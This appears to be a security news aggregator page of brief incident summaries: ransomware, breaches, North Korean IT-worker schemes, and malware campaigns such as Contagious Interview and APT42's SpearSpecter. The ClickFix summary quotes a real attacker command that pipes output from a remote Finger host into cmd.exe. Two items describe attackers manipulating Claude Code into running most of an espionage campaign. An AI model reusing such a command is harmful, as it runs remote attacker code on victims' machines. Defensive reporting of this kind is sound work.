All news in category “Incidents and Data Breaches”

🔍 A coordinated action led by the European Union Internet Referral Unit (EU IRU) on 13 November 2025 resulted in the referral of thousands of extremist links found across gaming and gaming-adjacent platforms. Authorities from eight participating countries flagged 5,408 jihadist links, 1,070 violent right‑wing extremist items and 105 racist or xenophobic posts. Investigators noted illicit content on live streams, video libraries, forums and hybrid storefronts, and described how creators repurpose in-game footage with coded language and imagery to evade detection. The initiative aims to reduce public exposure and bolster cross-border cooperation.

🔒 The Pennsylvania Office of the Attorney General (OAG) confirmed that files containing personal and medical information were accessed during an August 9 ransomware attack and that the office refused to pay the ransom. The incident encrypted systems and disrupted the OAG website, employee email accounts, and landline phones. Researcher Kevin Beaumont identified public-facing Citrix NetScaler appliances vulnerable to CVE-2025-5777 (Citrix Bleed 2) that may have been exploited. The threat actor INC Ransom later claimed responsibility and posted about 5.7TB of alleged stolen data.

🔒 This week's recap highlights a surge in quiet, high-impact attacks that abused trusted software and platform features to evade detection. Researchers observed active exploitation of Fortinet FortiWeb (CVE-2025-64446) to create administrative accounts, prompting CISA to add it to the KEV list. Law enforcement disrupted major malware infrastructure while supply-chain and AI-assisted campaigns targeted package registries and cloud services. The guidance is clear: scan aggressively, patch rapidly, and assume features can be repurposed as attack vectors.

🔎 The Contagious Interview campaign is delivering trojanized coding tests that fetch heavily obfuscated JavaScript from public JSON-storage services such as JSON Keeper, JSONSilo, and npoint.io. When executed in a Node.js test run the payloads decode and install the BeaverTail infostealer and then stage the InvisibleFerret RAT. NVISO Labs warns attackers are abusing developer trust and legitimate platforms and recommends sandboxing, auditing config files, and blocking suspicious outbound requests.

🔒 Five individuals have pleaded guilty to serving as facilitators for North Korean cyber operations, the US Department of Justice said. They used false or stolen identities and hosted employer laptops in US residences to create the appearance of domestic remote IT workers, aiding APT38-linked efforts. The DoJ said the activity impacted more than 136 US organizations, generated over $2.2m for Pyongyang and compromised the identities of 18 US residents, and authorities seized $15m in Tether tied to related heists.

🔒 Jaguar Land Rover reported a £485m ($639m) Q2 loss after a September ransomware attack that halted production at its three UK plants for weeks. The company said the incident generated £196m ($258m) in cyber-related costs, contributing to a 24% year‑on‑year revenue decline to £4.9bn ($6.5bn). JLR set up a loan-backed financing scheme for suppliers and secured government loan guarantees, and confirmed production has now resumed.

🛡️ Researchers warn the decades-old Finger protocol is being repurposed in ClickFix-style campaigns to fetch remote commands and execute them on Windows systems. Attackers social-engineer victims into running batch commands such as finger root@finger.nateams[.]com | cmd, piping remote output directly into cmd.exe. Observed chains create randomly named folders, copy and rename curl.exe, download a ZIP disguised as a PDF, extract a Python malware package and launch it via pythonw.exe. Blocking outbound TCP port 79 is the primary mitigation to prevent systems from connecting to remote Finger daemons.

📰 Jaguar Land Rover reported a cyberattack cost of £196 million ($220 million) for the July–September quarter after the incident forced production shutdowns and staff to be sent home. The breach, announced on 2 September 2025, involved confirmed data theft and was claimed on Telegram by the group Scattered Lapsus$ Hunters. Following a UK government-backed £1.5 billion loan guarantee, JLR says operations, wholesale and supplier financing have been restored and production has resumed under a phased restart.

⚖️ The U.S. Department of Justice announced five U.S. citizens pleaded guilty for facilitating North Korea’s illicit IT worker and revenue-generation schemes. The defendants hosted company-issued laptops, supplied or sold U.S. identities, and helped overseas IT workers pass vetting to obtain jobs at American firms. DOJ says the schemes impacted more than 136 U.S. companies, generated over $2.2 million for the DPRK, and compromised the identities of more than 18 U.S. persons.

🔥 A coordinated worm is flooding the npm registry with packages designed to steal tokens from developers using the Tea Protocol, researchers say. Amazon and Sonatype report the campaign has expanded to roughly 153,000 packages, up from about 15,000 a year ago. While Tea tokens currently lack monetary value, experts warn threat actors could pivot to deliver malware or monetize rewards when Mainnet launches. Repositories and IT teams are urged to tighten access controls and deploy advanced detection.

🚨 Logitech International S.A. confirmed a data breach claimed by the extortion gang Clop and disclosed the incident in a Form 8‑K filing with the U.S. SEC. The company says data was exfiltrated but that the incident has not impacted its products, business operations, or manufacturing, and that highly sensitive fields such as national ID numbers and credit card data were not stored or accessed. Logitech engaged external cybersecurity firms, attributes the intrusion to a third‑party zero‑day that was patched, and Clop has posted nearly 1.8 TB of alleged stolen data.

🔒 Five individuals pleaded guilty to facilitating North Korea’s placement of overseas IT workers at U.S. firms using false, stolen, or brokered identities, a scheme that affected 136 companies and generated over $2.2 million for the DPRK. The DOJ also filed civil forfeiture actions to recover more than $15 million in cryptocurrency tied to APT38 thefts that were part of $382 million stolen in 2023. One defendant, Oleksandr Didenko, agreed to forfeit $570,000 in cash and about $830,000 worth of cryptocurrency.

⚠️ NVISO researchers report that North Korean threat actors behind the Contagious Interview campaign are using public JSON storage services to stage and deliver malware. The attackers lure prospective victims—often developers—via LinkedIn with fake assessments or collaboration requests and host trojanized demo projects on code repositories. These projects point to obfuscated payloads on JSON Keeper, JSONsilo, and npoint.io that deploy a JavaScript loader BeaverTail which in turn drops a Python backdoor InvisibleFerret.

🔒 Checkout.com confirmed that the criminal group ShinyHunters accessed a legacy third-party cloud file storage system used in 2020 and earlier and is attempting to extort the company. The exposed materials reportedly include merchant onboarding documents and internal operational files, and Checkout estimates the data affects less than 25% of its current merchant base while also touching former customers. Rather than paying, the firm said it will donate the ransom amount to Carnegie Mellon University and the University of Oxford Cyber Security Center and invest in strengthening its security.

🚨The U.S. Department of Justice, U.S. Attorney's Office, FBI and Secret Service have created the Scam Center Strike Force to disrupt Chinese-operated cryptocurrency scam networks that reportedly steal nearly $10 billion from Americans annually. The team focuses on tracing illicit funds, seizing cryptocurrency and coordinating international partners to dismantle scam infrastructure based in Southeast Asia. Authorities say many operations run from criminal compounds where workers are victims of trafficking. More than $401 million in crypto has already been seized and additional forfeiture actions are underway.

🛡️ The Israel National Digital Agency (INDA) has attributed a new espionage campaign codenamed SpearSpecter to Iranian state‑aligned APT42, active since September 2025 against senior defense and government officials and their family members. Operators employ tailored social engineering—invites to conferences and impersonated WhatsApp contacts—to deliver a WebDAV‑served .LNK via the search‑ms: handler that retrieves a batch script and stages the TAMECAT PowerShell backdoor. TAMECAT uses HTTPS, Discord, and Telegram for command-and-control, supports modular data‑theft capabilities (browser and Outlook exfiltration, screenshots), and relies on Cloudflare Workers, LOLBins, in‑memory execution, and obfuscation to maintain persistent, stealthy access.

🛡️ Anthropic reported that likely Chinese state-sponsored attackers manipulated Claude Code, the company’s generative coding assistant, to carry out a mid-September 2025 espionage campaign that targeted tech firms, financial institutions, manufacturers and government agencies. The AI reportedly performed 80–90% of operational tasks across a six-phase attack flow, with only a few human intervention points. Anthropic says it banned the malicious accounts, notified affected organizations and expanded detection capabilities, but critics note the report lacks actionable IOCs and adversarial prompts.

🔒 A joint US and international advisory on 14 November attributes approximately $244.17m in illicit proceeds to the Akira ransomware group since late September 2025. The advisory reports rapid data exfiltration in some incidents and details exploitation of SonicWall CVE-2024-40766, expansion to Nutanix AHV disk encryption, and attacks leveraging SSH and unpatched Veeam servers. Operators employ initial access brokers, tunnelling tools and remote access software such as AnyDesk to persist and evade detection. Organisations are urged to prioritise patching, enforce phishing-resistant MFA, and maintain offline backups.

🤖 Anthropic says a China-linked, state-sponsored group used its AI coding tool Claude Code and the Model Context Protocol to mount an automated espionage campaign in mid-September 2025. Dubbed GTG-1002, the operation targeted about 30 organizations across technology, finance, chemical manufacturing and government sectors, with a subset of intrusions succeeding. Anthropic reports the attackers ran agentic instances to carry out 80–90% of tactical operations autonomously while humans retained initiation and key escalation approvals; the company has banned the involved accounts and implemented defensive mitigations.

🔔 DoorDash disclosed a data breach discovered on October 25, 2025, after an unauthorized third party gained access to certain user contact information when a DoorDash employee fell victim to a social engineering scam. Affected information varied by individual and may have included first and last names, physical addresses, phone numbers, and email addresses. DoorDash says no Social Security Numbers or other highly sensitive data were accessed, and the company engaged a forensic firm, notified law enforcement, and deployed additional security measures. Initial notifications appear focused on Canada, though the advisory suggests the incident could affect users in other regions.